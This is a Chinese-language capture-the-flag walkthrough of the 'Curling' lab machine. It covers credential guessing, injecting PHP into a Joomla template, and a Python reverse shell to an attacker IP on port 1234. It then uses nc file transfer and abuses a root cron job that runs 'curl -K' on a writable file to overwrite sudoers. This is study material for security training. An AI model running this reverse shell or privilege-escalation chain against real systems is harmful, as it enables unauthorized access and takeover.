目录扫描
nmap
- http 80
- ssh 22
看到这么多内容,要耐心的收集可能有用的信息。
这个界面收集到的信息整理一下
- Super User 可能是 Floris
- 登录功能可能存在弱密码登录或sql注入
继续收集信息
2022 Cewl Curling site
查看源码发现一个注释
收集的信息
- Super User 可能是
Floris
- 登录功能可能存在弱密码登录或sql注入
2022 Cewl Curling site
- 未知信息:
Curling2018!
再去看看那个登录功能,可以看到我尝试了很多种凭证,均以失败告终。
那这个Curling2018!!
和疑似超级用户的Floris
可以用在什么地方呢,还有一个ssh,但是尝试后发现不行。还有其他地方么,还有一个administrator
目录
也做了多次尝试最终发现Floris:Curling2018!
可以登录
进到主页以后,个人认为应该是找能配合上传漏洞的功能或者类似于RCE的功能,看到有模板,进去看看。
有两个模板,先来测试测试这两个模板的使用情况
试探性的分别在Beez3
模板和protostat
的index.php模板
文件上添加一句echo
。
经过测试此网站目前使用的是protostar
模板
可以在index.php做手脚,这样比较麻烦每次都要重新保存。
换成这样就可以了
经过测试发现目标装有python
开个终端监听1234端口,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.42",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后就可以准备下一步了,可以看到我们没有红色框线内的文件的任意权限。
当然,最吸引人的就是password_backup
这个文件了,看到这我盲猜应该是ssh的私钥。
想用python -m http.server 80开一个简易FTP但是行不通,正好这两台电脑在局域网内,可以用nc传输。
发送方: nc -l 端口 < 文件 -l就是listen监听
接收方:nc ip 端口 > 文件
先在发送方执行,后接受方执行。可以把>左边大的地方看成门的入口,尖尖是出口,发送方就是文件从入口进从监听的端口出去,而建立连接后文件从ip 端口出来到文件去(这个文件可以随便改名)。
很遗憾猜测错了,不是ssh私钥,去查查文件头呢。
在Static-AJ博主的一篇文章中找到了,非常感谢这位博主。
使用xxd -r
解压的时候又出现问题,结果一看又是包中包中包,先手动解压几次如果超过就写脚本解压。
经过tar解压的时候遇到问题了
因为我加了-z
password.txt
里面装的这个5d
floris
用户的密码
尝试之后成功切换到floris
用户
这时候就可以去神秘的admin-area一探究竟了。
input里面装的
report装了一大堆,不过好像就是首页。
用diff对比一下只有一些因为环境变量不同而改变的。
再去看看sudo -l
看样子线索断了,无意间看到这两个文件的时间。
去看看crontab
,又没有收获。
但是我们可以去监视与这两个文件有关系的进程,借助稀烂的基础写了个循环。
while true;do ps auxwww | grep input;done
/bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
/bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
curl -K,意思就是会从读取文件里面的内容作为参数
因为input里面是127.0.0.1所以curl结果就是我们能访问的网页首页,然后把curl结果输出到同目录下的report
里。
有个想法,先找到root.txt
位置然后直接curl它让它输出在report
里面,啊当然,root.txt在/root/里面,先看看url怎么访问一个文件。
但是我这貌似不行,突然发现root前面少个/。
那怎么拿到root权限呢,既然能通过input调取我们想要的,就用input调ssh私钥。
ssh安装的时候就会在/etc/ssh/
生成一个ssh_host_rsa_key
私钥。
然后用私钥连接居然还要密码,是不是目标ssh配置文件关闭了私钥登录root。
看来禁止了root
登录。
可以想办法修改一下sudoer呢,先去看看sudoer文件。
测试发现使用两个-o参数只会warning而且只有第一个-o参数有效,那就去试试。
啊哦,看起来不能这样用,难不成不能放在一行。
查看curl手册发现-K参数的config
文件每个物理行仅写入一个选项。
分为两行尝试
然后就root了。